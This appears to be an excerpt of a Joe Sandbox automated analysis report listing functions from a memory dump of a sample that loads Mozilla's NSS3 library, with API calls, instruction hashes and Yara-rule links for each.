API ID: sqlite3_freesqlite3_mprintfsqlite3_result_error_nomemstrlen
String ID:
API String ID: 1052848593-0
Opcode ID: de39e7214bd116b12983af8f80893090e3af9ad7f9c951a0e5f06b6062aa1019
Instruction ID: b0dfcc98af2b028f4c4c0292703b1faabf97cb983bc45c937bb34a13ccb050f5
Opcode Fuzzy Hash: de39e7214bd116b12983af8f80893090e3af9ad7f9c951a0e5f06b6062aa1019
Instruction Fuzzy Hash: 0951F236609B458AD701EF35C84012BF7F8BF8A7D8F198A0DE8D56B550EB31C489C782

Function 6CA64FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C9485D2,00000000,?,?), ref: 6CA64FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA6500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA650C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA650D6

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: dcef85ff9125d8884eb73791f7a7eb314e1c9cb08d6d1867fb56777c2a22ed7e
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: D7417FB2A402118FCB18CF19DCD179AB7E1BF4431871D46A9D84ACBB02E775E8D1CB91

Function 6C98FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6C98FDFE), ref: 6C98FFAD

Part of subcall function 6C92CA30: EnterCriticalSection.KERNEL32(?,?,?,6C98F9C9,?,6C98F4DA,6C98F9C9,?,?,6C95369A), ref: 6C92CA7A
Part of subcall function 6C92CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C92CB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6C98FDFE), ref: 6C98FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6C98FDFE), ref: 6C99001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6C98FDFE), ref: 6C99006F

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: 2a505d5cd7ba7bf4615c4a423753992d41d6dacd4bd8f323093ce420f7636b13
Instruction ID: f8eee0fc06d85c2c23d3f4916e150d460bd93e3eb27199bea72220a52cdc3308
Opcode Fuzzy Hash: 2a505d5cd7ba7bf4615c4a423753992d41d6dacd4bd8f323093ce420f7636b13
Instruction Fuzzy Hash: 9541A171F00205DBDB08DF64E895AAE7779FF49304F08412DD82697700EB35D955CBA1

Function 6CABA860 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6CABA690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6CABA662), ref: 6CABA69E
Part of subcall function 6CABA690: PR_NewCondVar.NSS3(?), ref: 6CABA6B4

PR_IntervalNow.NSS3 ref: 6CABA8C6
EnterCriticalSection.KERNEL32(?), ref: 6CABA8EB
_PR_MD_UNLOCK.NSS3(?), ref: 6CABA944
PR_SetPollableEvent.NSS3(?), ref: 6CABA94F

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CondCriticalEnterEventIntervalPollableSectioncalloc
String ID:
API String ID: 811965633-0
Opcode ID: 7f12c7fb619325b360e05f046a33188246e69f12e63074ed3149144f599eb268
Instruction ID: 27212a956c1e14166b3442227520d759164c9eb8045657e8c8797cd5c9fd971e
Opcode Fuzzy Hash: 7f12c7fb619325b360e05f046a33188246e69f12e63074ed3149144f599eb268
Instruction Fuzzy Hash: D34137B4A01A029FC704CF69C580956FBF6FF48318B19852AD859DBF11E731EC94CB90

Function 6CA77DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA77E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA77EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA77EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CA77ED8

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: 5c6be92fd7cd3d275534af1b22c370d2a568178b8237d7e8fcbbf6f4642843e3
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 7531A6B5A001118FD715CF09C99099AB7B2FF88314B2A41B9C8599B711EB71EC85CBE1

Function 6CA2DF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6C9B3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9CAE42), ref: 6C9B30AA
Part of subcall function 6C9B3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9B30C7
Part of subcall function 6C9B3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C9B30E5
Part of subcall function 6C9B3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C9B3116
Part of subcall function 6C9B3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C9B312B
Part of subcall function 6C9B3090: PK11_DestroyObject.NSS3(?,?), ref: 6C9B3154
Part of subcall function 6C9B3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CA2DBBD), ref: 6CA2DFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA2DFEE

Part of subcall function 6C9C86D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9C8716
Part of subcall function 6C9C86D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9C8727
Part of subcall function 6C9C86D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9C873B
Part of subcall function 6C9C86D0: PR_Unlock.NSS3(?), ref: 6C9C876F
Part of subcall function 6C9C86D0: PR_SetError.NSS3(00000000,00000000), ref: 6C9C8787

Part of subcall function 6C9EF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C9EF854
Part of subcall function 6C9EF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C9EF868
Part of subcall function 6C9EF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C9EF882
Part of subcall function 6C9EF820: free.MOZGLUE(04C483FF,?,?), ref: 6C9EF889
Part of subcall function 6C9EF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C9EF8A4
Part of subcall function 6C9EF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C9EF8AB
Part of subcall function 6C9EF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C9EF8C9
Part of subcall function 6C9EF820: free.MOZGLUE(280F10EC,?,?), ref: 6C9EF8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6CA2DBBD), ref: 6CA2DFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6CA2DBBD), ref: 6CA2E007

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: 6aa53d686d8ea2d81ead838d9eabda5b8b828d47776ce60c724756518146a612
Instruction ID: 5fb6d039bc42259e6c2614e13f2912e742da72b697749de2ae1d49a5971ae023
Opcode Fuzzy Hash: 6aa53d686d8ea2d81ead838d9eabda5b8b828d47776ce60c724756518146a612
Instruction Fuzzy Hash: F03127B1E0430157E7109A79AD84A9B72B8AF6530CF0C0135E90AD7B53FF39D988C2E6

Function 6C9A6C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C9A6C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C9A6CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C9A6CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CAC8FE0), ref: 6C9A6CFE

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: daf420dbf15df955e16a140e94ab141b616dd605cd4ff45a3663464ee4da541e
Instruction ID: 4ac1f7120ade4b28c962b20f69e528a606d735cdf7592216f7e53fbccb6e0948
Opcode Fuzzy Hash: daf420dbf15df955e16a140e94ab141b616dd605cd4ff45a3663464ee4da541e
Instruction Fuzzy Hash: 393181B5A012169FDB04CFA9CC91ABFBBF9EF95248B10442DD905E7740EB31D906CBA0

Function 6CA2D830 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(00000040,?,?,00000000,?,6CA3ACA2,?), ref: 6CA2D838

Part of subcall function 6CA00D30: calloc.MOZGLUE ref: 6CA00D50
Part of subcall function 6CA00D30: TlsGetValue.KERNEL32 ref: 6CA00D6D

SECITEM_DupArray.NSS3(00000000,?,?), ref: 6CA2D8D5
SECITEM_CopyItem_Util.NSS3(00000000,00000024,?,?), ref: 6CA2D8F7
SECITEM_CopyItem_Util.NSS3(00000000,-00000030,?,?,?,?,?), ref: 6CA2D90F

Part of subcall function 6C9C06A0: TlsGetValue.KERNEL32 ref: 6C9C06C2
Part of subcall function 6C9C06A0: EnterCriticalSection.KERNEL32(?), ref: 6C9C06D6
Part of subcall function 6C9C06A0: PR_Unlock.NSS3 ref: 6C9C06EB

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$CopyItem_Value$Alloc_ArrayCriticalEnterSectionUnlockcalloc
String ID:
API String ID: 3461301972-0
Opcode ID: 024def680c6836079a9857568564eadeeca3294f0d1f642e00e908b22e3dfd6c
Instruction ID: 84f164428bc0ebccd7941d332d480a53ac06b8efd5ee89c1aaec567ed7c63e55
Opcode Fuzzy Hash: 024def680c6836079a9857568564eadeeca3294f0d1f642e00e908b22e3dfd6c
Instruction Fuzzy Hash: A1310CB0A00B119FE360CF6AD944B52B7F4FF18649F08462AD84AC2E42F734E554CB91

Function 6CAB4F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6CAB4F5D
free.MOZGLUE(?), ref: 6CAB4F74
free.MOZGLUE(?), ref: 6CAB4F82
GetLastError.KERNEL32 ref: 6CAB4F90

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: a71bb98d30a10f06e3118e3b174231b7daec714475b734ccd53a12af4c5f61cf
Instruction ID: 2ae81b8197efd8ca2c42af174db09cac475fe21fb98f039e1d81af3a05fdb9c6
Opcode Fuzzy Hash: a71bb98d30a10f06e3118e3b174231b7daec714475b734ccd53a12af4c5f61cf
Instruction Fuzzy Hash: C7313775A0030A4BEB01DE79EC81BDEB7BCEF45788F084229E825B7681D734E9058691

Function 6C989980 Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE89F,00000000,?,?,?,?,?,6C98996F,?,00000001,00000000), ref: 6C989A3A
PR_CallOnce.NSS3(6CB014E4,6CA6CC70,?,?,?,?,?,6C98996F,?,00000001,00000000), ref: 6C989A50
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C989A81
_pr_push_ipv6toipv4_layer.NSS3(00000000), ref: 6C989A97

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Error$CallOnce_pr_push_ipv6toipv4_layer
String ID:
API String ID: 329733494-0
Opcode ID: d8d875cdc0335af4cc616c0d7c4f374a28d9c5f8b40a98c5f13ea60be3c07b2c
Instruction ID: bb52e9eaba8ce0fa5a3eae092273cab30c557aecb78be88ab4843b2bbab8ec03
Opcode Fuzzy Hash: d8d875cdc0335af4cc616c0d7c4f374a28d9c5f8b40a98c5f13ea60be3c07b2c
Instruction Fuzzy Hash: 813106B0B01201AFDB10AA2CDC85B6D77E8AB9631CF154938E82AD7F91E739DC44C791

Function 6CA16DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CA16E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA16E57

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CA16E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CA16EAA

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 91b4b349ba24279214794acc430cfbddcd16fa33e0850a36464d5ea82040d4be
Instruction ID: 7f605568ef57dd4a9fdfc0d27357dadbb36bfb5528fa1d6ca304312eb4ef91a5
Opcode Fuzzy Hash: 91b4b349ba24279214794acc430cfbddcd16fa33e0850a36464d5ea82040d4be
Instruction Fuzzy Hash: 8931AE72618622AEDB141F34D904396BBB5EB0531AF18073CD89AD6F90EB31A5D8CB81

Function 6C9FDDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6C9FDDB1,?,00000000), ref: 6C9FDDF4

Part of subcall function 6CA014C0: TlsGetValue.KERNEL32 ref: 6CA014E0
Part of subcall function 6CA014C0: EnterCriticalSection.KERNEL32 ref: 6CA014F5
Part of subcall function 6CA014C0: PR_Unlock.NSS3 ref: 6CA0150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6C9FDDB1,?,00000000), ref: 6C9FDE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6C9FDDB1,?,00000000), ref: 6C9FDE17

Part of subcall function 6CA00BE0: malloc.MOZGLUE(6C9F8D2D,?,00000000,?), ref: 6CA00BF8
Part of subcall function 6CA00BE0: TlsGetValue.KERNEL32(6C9F8D2D,?,00000000,?), ref: 6CA00C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C9FDE80

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 7b64c74d7a6410b2b59060e8a1a7587643dd1a72874c861674e3b11b458ecc35
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 6931B8B2A017429BE700CF16D880696F7E4FFA535CB248229D92D87B01E7B1F5E5CB91

Function 6C9EFE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C9C5ADC,?,00000000,00000001,?,?,00000000,?,6C9BBA55,?,?), ref: 6C9EFE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C9EFE5F
PR_Unlock.NSS3(78831D74), ref: 6C9EFEC2
PR_SetError.NSS3(00000000,00000000), ref: 6C9EFED6

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: edd075535120cde1c269f9fe6ea10c671ecf5a6b3e12adabf5bd60bb36fd8bf8
Instruction ID: f5214f762d0deebbb6ebaac596e64bd7ec61d2206395b49e13cf203e04198d96
Opcode Fuzzy Hash: edd075535120cde1c269f9fe6ea10c671ecf5a6b3e12adabf5bd60bb36fd8bf8
Instruction Fuzzy Hash: 70210431A006169BD7129E25EC447AA7778BF2935CF08412ADD0867E41E731F968CBD1

Function 6C9F3F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6C9F3440: PK11_GetAllTokens.NSS3 ref: 6C9F3481
Part of subcall function 6C9F3440: PR_SetError.NSS3(00000000,00000000), ref: 6C9F34A3
Part of subcall function 6C9F3440: TlsGetValue.KERNEL32 ref: 6C9F352E
Part of subcall function 6C9F3440: EnterCriticalSection.KERNEL32(?), ref: 6C9F3542
Part of subcall function 6C9F3440: PR_Unlock.NSS3(?), ref: 6C9F355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C9DE80C,00000000,00000000,?,?,?,?,6C9E8C5B,-00000001), ref: 6C9F3FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C9DE80C,00000000,00000000,?,?,?,?,6C9E8C5B,-00000001), ref: 6C9F3FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6C9DE80C,00000000,00000000,?,?,?,?,6C9E8C5B,-00000001), ref: 6C9F3FFE
PR_SetError.NSS3 ref: 6C9F401A

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 4d769ffe8a00269c4b003e4630d9e54f6f352ef51a1d0148ea2bb8d45df15e65
